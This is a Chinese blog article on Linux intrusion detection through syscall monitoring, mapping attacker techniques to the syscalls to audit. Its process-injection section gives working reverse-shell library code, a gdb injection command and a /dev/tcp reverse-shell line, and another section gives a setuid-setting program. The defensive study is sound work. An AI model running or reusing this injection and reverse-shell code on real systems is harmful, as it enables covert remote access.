利用linux命令进行入侵检测,入侵检测之syscall监控

2023-10-30 20:30

本文主要是介绍利用linux命令进行入侵检测,入侵检测之syscall监控,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

《Linux入侵检测》系列文章目录:

0x01:Syscall简介

内核提供用户空间程序与内核空间进行交互的一套标准接口,这些接口让用户态程序能受限访问硬件设备,比如申请系统资源,操作设备读写,创建新进程等。用户空间发生请求,内核空间负责执行,这些接口便是用户空间和内核空间共同识别的桥梁,这里提到两个字“受限”,是由于为了保证内核稳定性,而不能让用户空间程序随意更改系统,必须是内核对外开放的且满足权限的程序才能调用相应接口。在用户空间和内核空间之间,有一个叫做Syscall(系统调用, system call)的中间层,是连接用户态和内核态的桥梁。这样即提高了内核的安全型,也便于移植,只需实现同一套接口即可。Linux系统,用户空间通过向内核空间发出Syscall,产生软中断,从而让程序陷入内核态,执行相应的操作。对于每个系统调用都会有一个对应的系统调用号,比很多操作系统要少很多。

linux系统调用是通过中断实现的,软中断指令int发起中断信号。系统调用前,linux在eax寄存器中写入子功能号,中断处理程序根据eax寄存器的值来判断用户进程申请哪种系统调用。

操作系统中断处理流程:

fa18ea72c53613f1758a86812f23576b.png

其系统调用执行流程如下:

a8250871d3058c70a757933fb3ff890a.png

根据其功能将其主要分为3大类:

(1)进程控制类fork

创建一个子进程

clone  按照指定条件创建子进程

execve 运行可执行文件

...

(2)文件控制操作

fcntl 文件控制

open 打开文件

read 读文件

...

(3)系统控制

ioctl I/O总控制函数

reboot重新启动

—sysctl读写系统参数

trap命令允许程序指定将在接收到中断信号后执行的命令。常见的情况是脚本允许正常终止和处理常见的键盘中断(例如ctrl + c和ctrl + d),实际上系统发送了SIGINT信号给脚本进程,SIGINT信号的默认处理方式就是退出程序。如果要在Ctrl+C不退出程序,那么就得使用trap命令来指定一下SIGINT的处理方式了,trap命令不仅仅处理Linux信号,还能对脚本退出(EXIT)、调试(DEBUG)、错误(ERR)、返回(RETURN)等情况指定处理方式。。当遇到特定中断以获取执行或作为持久性机制时,可以使用它来注册要执行的代码。陷阱命令具有以下格式的陷阱“命令列表”信号,其中在收到“信号”时将执行“命令列表”。

0x02:主机syscall信息采集

以获取进程创建为例,目前来看,常见的获取进程创建的信息的方式有以下四种:

- So preload

- Netlink

- Connector Audit

- Syscall hook

详情请参考:Linux 入侵检测中的进程创建监控

本人采用了最经典的audit,主要是为了获取数据

audit主要分三个模块:

- auditd 管理审计规则、自定义auditd规则

- system

1.通过用户态的管理进程配置规则,并通过 Netlink 套接字通知给内核

2.内核中的 kauditd 通过 Netlink 获取到规则并加载

3.应用程序在调用系统调用和系统调用返回时都会经过 auditd

4.auditd 会将这些事件记录下来并通过

dd193a70a06082a9cdf20d04d80085c9.png

- file_integrity

实时监控指定文件系统变化、报告文件元数据与哈希、为文件建立、移动、删除、更新和属性修改生成事件 可以实现审计监控的场景

1.监控文件访问(识别可疑篡改、文件权限更新)

2.监控系统调用(二进制文件或共享库调用) 3.记录用户命令执行(危险命令执行、审计)

4.记录安全事件

5.执行审计搜索

6.统计概要报表

7.监控网络访问(恶意外联)

如果只是对数据进行采集,首先数据量多大,无用数据过多,仍然从安全的角度考虑,针对性的采集

0x03:权限维持之syscall监控

可加载内核模块(或LKM)是可以按需加载和卸载到内核中的代码段。它们扩展了内核的功能,而无需重新启动系统, 当恶意使用时,可加载内核模块(LKM)可以是一种以最高操作系统特权(Ring 0)运行的内核模式Rootkit。 攻击者可以使用可加载的内核模块秘密地保留在系统上并逃避防御。 基于LKM的rootkit的常见功能包括:隐藏自身,有选择地隐藏文件,进程和网络活动以及日志篡改,提供经过身份验证的后门并允许对非特权用户的root访问。

#include

#include

#include

MODULE_LICENSE("GPL");

static int hello_init(void)

{

printk(KERN_WARNING "HELLOWORLD");

return 0;

}

static void hello_exit(void)

{

printk("BYE");

}

module_init(hello_init);

module_exit(hello_exit);

编译完成之后能够看到模块文件:

6334b3997d444e2b9b1d3bbd358dba8a.png

lsmod查看模块是否加载:

98fb3126ddc9b5edc6d60b4705e8070f.png

对于内核模块的函数:

init_module()

将ELF映像加载到内核空间,执行任何必要的符号重定位,将模块参数初始化为值由调用者提供,然后运行模块的init函数。

int init_module(void *module_knowledge/img, unsigned long len,const char *param_values);

Copy to clipboardErrorCopied

finit_module

finit_module()系统调用的是init_module(),但读取待从文件描述符加载模块的fd。当可以根据内核模块在文件系统中的位置确定其真实性时

int finit_module(int fd, const char \*param_values,int flags);

Copy to clipboardErrorCopied

delete_module-卸载内核模块

delete_module()系统调用试图消除查明的未使用的可加载模块的条目名称。如果模块具有退出功能,则在卸载模块之前执行该功能。的标志参数用于修改系统调用的行为,如下面所述。此系统调用需要特权。

int delete_module(const char *name, int flags);

对于企业的防护,对应用程序白名单和软件限制工具(例如SELinux)限制内核模块的加载或者限制对root帐户的访问,并通过适当的特权分离和限制特权升级机会来防止用户加载内核模块和扩展。

在检测层,包括在应急中,用于检测Linux rootkit的常见工具包括:rkhunter,chrootkit,针对该攻击,检测finit_module、init_module 、delete_module的调用

0x04:持久化之syscall监控

trap命令允许程序指定将在接收到中断信号后执行的命令。常见的情况是脚本允许正常终止和处理常见的键盘中断(例如ctrl + c和ctrl + d),实际上系统发送了SIGINT信号给脚本进程,SIGINT信号的默认处理方式就是退出程序。如果要在Ctrl+C不退出程序,那么就得使用trap命令来指定一下SIGINT的处理方式了,trap命令不仅仅处理Linux信号,还能对脚本退出(EXIT)、调试(DEBUG)、错误(ERR)、返回(RETURN)等情况指定处理方式。。当遇到特定中断以获取执行或作为持久性机制时,可以使用它来注册要执行的代码。陷阱命令具有以下格式的陷阱“命令列表”信号,其中在收到“信号”时将执行“命令列表”。

信号的主要用途:

1.使一个进程意识到一个特殊事件发生了(不同的事件用不同的signal标识)

2.并使目标进程进行相应处理(eg: 执行的信号处理函数,signal handler).相应的处理也可以是忽略它.

与信号有关的数据结构

cc82ab9dc43ac991ae031aeacf33dc5a.png

#!/bin/sh

# 杀掉LAST_PID功能

# 脚本退出时杀掉THIS_PID功能

LAST_PID=$(ps -ef|grep 'java.*Zhenjiang'|grep -v grep|awk '{print $2}')

echo "LAST_PID=$LAST_PID"

if [ -n "$LAST_PID" ] &&  [ "$LAST_PID" -gt 0 ]; then

echo "LAST PROCESS NOT EXIT, NOW KILL IT!"

kill $LAST_PID

sleep 1

fi

if ! cd ../opt/zhenjiang; then

echo "CHANGE DIRECTORY FAILED"

exit 1

fi

java -classpath .:./cpinterfaceapi.jar:./log4j-1.2.14.jar:./hyjc.jar:./smj.client.jar Zhenjiang &

THIS_PID=$!

echo "THIS_PID=$THIS_PID"

trap "kill $THIS_PID" TERM

wait

trap命令必须为外壳程序(shell解释器)或程序注册,因此会出现在文件中。监视文件中的可疑或过于广泛的trap命令可以缩小调查过程中的可疑行为。监视通过trap中断执行的可疑进程。

4c32ccb7dff46bc4a4a634b9c462f387.png

监控的参考syscall

kill,tkill,tgkill,rt_sigaction,rt_sigpending,rt_sigprocmask,rt_sigqueueinfo,rt_sigsuspend,rt_sigtimedwait,signalfd,signalfd4,rt_sigreturn,sigaltstack

0x05:权限提升之syscall

进程注入是一种在单独的活动进程的地址空间中执行任意代码的方法。在另一个进程的上下文中运行代码可能会允许访问该进程的内存,系统/网络资源以及可能的特权提升。由于执行被合法程序掩盖了,因此通过进程注入执行还可以避开安全产品的检测。

1. LD_PRELOAD,LD_LIBRARY_PATH(Linux)环境变量或dlfcn应用程序编程接口(API)可用于在过程中动态加载库(共享库),该过程可用于拦截来自运行过程。

2. Ptrace系统调用可用于附加到正在运行的进程并在运行时对其进行修改

3. VDSO劫持通过操纵从linux-vdso.so共享库映射的代码存根,对ELF二进制文件执行运行时注入。 TES 恶意软件通常利用进程注入来访问系统资源,从而可以对持久性和其他环境进行修改。使用命名管道或其他进程间通信(IPC)机制作为通信通道,更复杂的样本可以执行多个过程注入以分割模块并进一步逃避检测。

要注入的代码callback.c:

#include

#include

#include

#define SLEEP  120                    /* Time to sleep between callbacks */

#define CBADDR "127.0.0.1"           /* Callback address */

#define CBPORT "4444"                 /* Callback port */

/* Reverse shell command */

#define CMD "echo 'exec >&/dev/tcp/"\

CBADDR "/" CBPORT "; exec 0>&1' | /bin/bash" //进行反向shell

void *callback(void *a);

__attribute__((constructor)) /* Run this function on library load */

// 在动态库加载之后运行该函数

void start_callbacks(){

pthread_t tid;

pthread_attr_t attr;

/* Start thread detached */

if (-1 == pthread_attr_init(&attr)) {

return;

}

if (-1 == pthread_attr_setdetachstate(&attr,

PTHREAD_CREATE_DETACHED)) {

return;

}

/* Spawn a thread to do the real work */

pthread_create(&tid, &attr, callback, NULL); //创建线程

}

void *

callback(void *a)

{

for (;;) {

/* Try to spawn a reverse shell */

system(CMD);

/* Wait until next shell */

sleep(SLEEP);

}

return NULL;

}

编译成动态链接库: cc -O2 -fPIC -o libcallback.so ./callback.c -lpthread -shared

切换到root用户,列出root用户进程 ps -fxo pid,user,args | egrep -v ' \[\S+\]$'选择想要注入的进程pid,使用gdb进行注入,这里选择pids值较低的,因为值越低代表运行的时间越早,选择长期运行的进程,因为这些进程不容易被kill。

echo 'print __libc_dlopen_mode("/root/libcallback.so", 2)' | gdb -p pid

用gdb打开进程,并且用__libc_dlopen_mode打开要注入的动态链接库。使用GDB的print命令,以方便取函数的返回值。将它回显到GDB的标准输入中,它会引起GDB退出,就省得使用quit命令了。

开启另外的终端,监听本地的4444端口

0adf4966cdcf6437e0889935d0500121.png

反向跟踪,可以看到调用的syscall为ptrace

4a9799e9a180d1dd97b0ddd791002008.png

0x06:持久化之文件属性syscall监控

在权限提升和持久化中,设置setuid或setgid位,使应用程序将分别以拥有用户或组的特权运行,以确保他们将来能够在提升的环境中执行,也是常见的操作,可以使用chmod实现。#include

#include

#include

int main(int argc, char *argv[])

{

if ( argc != 2 )

{

printf("Usage: %s filename\n", argv[0]);

return (1);

}

if (chmod(argv[1], S_ISUID | S_IRUSR | S_IRGRP | S_IROTH | S_IXOTH) < 0)

{

perror("Cannot modify the Permission of the file");

return (1);

}

return (0);

}

4a072474ba59ea8fbff009a63b9378e6.png

对应的监控函数为:

chmod, fchmod, fchmodat

chmod

fchmodat 等

0x07:网络管理反弹shell之syscall监控

反弹shell,攻击者在控制端执行tcp/udp监听,并通过socket传递给攻击端的控制端。其主要原理为将标准输入以及标准输出是否指向一个socket或pipe

以最简单的bash反弹为例:

Linux bash是从左向右读取这条命令的,首先系统会创建bash -i子进程,并分配文件描述符:

0b32e22750e8a35c31f61cbb5b746b18.png

当解析到 >& /dev/tcp/10.0.0.1/4444 标准输出与标准错误重定向符时,文件描述符的指向变更为:

97353c69b930016bc63eaf41209b14ed.png

当解析到0>&1,标准输入复制到标准输出时,文件描述符的指向变更为:

29906ca8f0a82f83243df8f12a2138f1.png

文件输入描述符以及文件输出描述符皆需要重定向到socket通道

4d9e5d11beb38bb67e6a9bf7596a13dc.png

d38772d383e01395e613506cbc861e75.png

文件输入描述符以及文件输出描述符皆需要重定向到pipe

dfc7c07f6eb4501e87285d8dd9da29a4.png

从攻击的角度可以总结出,对进程,监控其标准输入以及标准输出是否指向一个socket或pipe,更 加需要关注的为具有可执行环境的文件,如bash、perl、python等

对应的syscall为socketcall

0x08:命令执行之syscall监控

snoopy轻量级的lib库,用来记录系统中所有执行过的命令以及参数,实际使用场景中结合snoopy和rsyslog收集所有主机的历史执行命令,snoopy 即是通过 preload 的方式在程序进行 execv() 和 execve() 系统调用的时候记录下所有需要的信息,audit同snoopy,通过监控execve系统调用,同样实现用户的操纵记录,大部分检测通过检测非ROOT用户执行的命令以及进行威胁建模。

对应的syscall为execve,对应的命令监控内容可以参考系列中的另外一篇:ATT&CK矩阵linux系统实践/命令监控

0x09:隐藏痕迹之系统设置之syscall监控

touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。

反向跟踪隐藏痕迹中的修改的时间戳

6ec37d15e62cc58e9282ccb8a00e0922.png

其对应的参考syscall为settimeofday、clock_settime 、adjtimex等

0x10:syscall监控小结

下表中根据分类总结列举了部分常用的syscall,无疑监控syscall带来的数据量是非常庞大的,以及对服务器的性能消耗也需要考虑,本文从攻击者角度考虑,采集攻击打点信息,只采集关注的数据,因文章篇幅,采集的syscall的攻击打点面未全面

c64c08c67228ded69143c1cad739387e.png

时刻保持学习,ctrl+c 和ctrl +v 的内容也不一样

73ed56f58f52bbd3e743fe0a2db36d5a.png

这篇关于利用linux命令进行入侵检测,入侵检测之syscall监控的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/310398

相关文章

Python调用Orator ORM进行数据库操作

《Python调用OratorORM进行数据库操作》OratorORM是一个功能丰富且灵活的PythonORM库,旨在简化数据库操作,它支持多种数据库并提供了简洁且直观的API,下面我们就... 目录Orator ORM 主要特点安装使用示例总结Orator ORM 是一个功能丰富且灵活的 python O

Nginx设置连接超时并进行测试的方法步骤

《Nginx设置连接超时并进行测试的方法步骤》在高并发场景下,如果客户端与服务器的连接长时间未响应,会占用大量的系统资源,影响其他正常请求的处理效率,为了解决这个问题,可以通过设置Nginx的连接... 目录设置连接超时目的操作步骤测试连接超时测试方法:总结:设置连接超时目的设置客户端与服务器之间的连接

Linux使用nload监控网络流量的方法

《Linux使用nload监控网络流量的方法》Linux中的nload命令是一个用于实时监控网络流量的工具,它提供了传入和传出流量的可视化表示,帮助用户一目了然地了解网络活动,本文给大家介绍了Linu... 目录简介安装示例用法基础用法指定网络接口限制显示特定流量类型指定刷新率设置流量速率的显示单位监控多个

ElasticSearch+Kibana通过Docker部署到Linux服务器中操作方法

《ElasticSearch+Kibana通过Docker部署到Linux服务器中操作方法》本文介绍了Elasticsearch的基本概念,包括文档和字段、索引和映射,还详细描述了如何通过Docker... 目录1、ElasticSearch概念2、ElasticSearch、Kibana和IK分词器部署

Linux流媒体服务器部署流程

《Linux流媒体服务器部署流程》文章详细介绍了流媒体服务器的部署步骤,包括更新系统、安装依赖组件、编译安装Nginx和RTMP模块、配置Nginx和FFmpeg,以及测试流媒体服务器的搭建... 目录流媒体服务器部署部署安装1.更新系统2.安装依赖组件3.解压4.编译安装(添加RTMP和openssl模块

linux下多个硬盘划分到同一挂载点问题

《linux下多个硬盘划分到同一挂载点问题》在Linux系统中,将多个硬盘划分到同一挂载点需要通过逻辑卷管理(LVM)来实现,首先,需要将物理存储设备(如硬盘分区)创建为物理卷,然后,将这些物理卷组成... 目录linux下多个硬盘划分到同一挂载点需要明确的几个概念硬盘插上默认的是非lvm总结Linux下多

Python如何实现PDF隐私信息检测

《Python如何实现PDF隐私信息检测》随着越来越多的个人信息以电子形式存储和传输,确保这些信息的安全至关重要,本文将介绍如何使用Python检测PDF文件中的隐私信息,需要的可以参考下... 目录项目背景技术栈代码解析功能说明运行结php果在当今,数据隐私保护变得尤为重要。随着越来越多的个人信息以电子形

使用 sql-research-assistant进行 SQL 数据库研究的实战指南(代码实现演示)

《使用sql-research-assistant进行SQL数据库研究的实战指南(代码实现演示)》本文介绍了sql-research-assistant工具,该工具基于LangChain框架,集... 目录技术背景介绍核心原理解析代码实现演示安装和配置项目集成LangSmith 配置(可选)启动服务应用场景

如何通过海康威视设备网络SDK进行Java二次开发摄像头车牌识别详解

《如何通过海康威视设备网络SDK进行Java二次开发摄像头车牌识别详解》:本文主要介绍如何通过海康威视设备网络SDK进行Java二次开发摄像头车牌识别的相关资料,描述了如何使用海康威视设备网络SD... 目录前言开发流程问题和解决方案dll库加载不到的问题老旧版本sdk不兼容的问题关键实现流程总结前言作为

SpringBoot中使用 ThreadLocal 进行多线程上下文管理及注意事项小结

《SpringBoot中使用ThreadLocal进行多线程上下文管理及注意事项小结》本文详细介绍了ThreadLocal的原理、使用场景和示例代码,并在SpringBoot中使用ThreadLo... 目录前言技术积累1.什么是 ThreadLocal2. ThreadLocal 的原理2.1 线程隔离2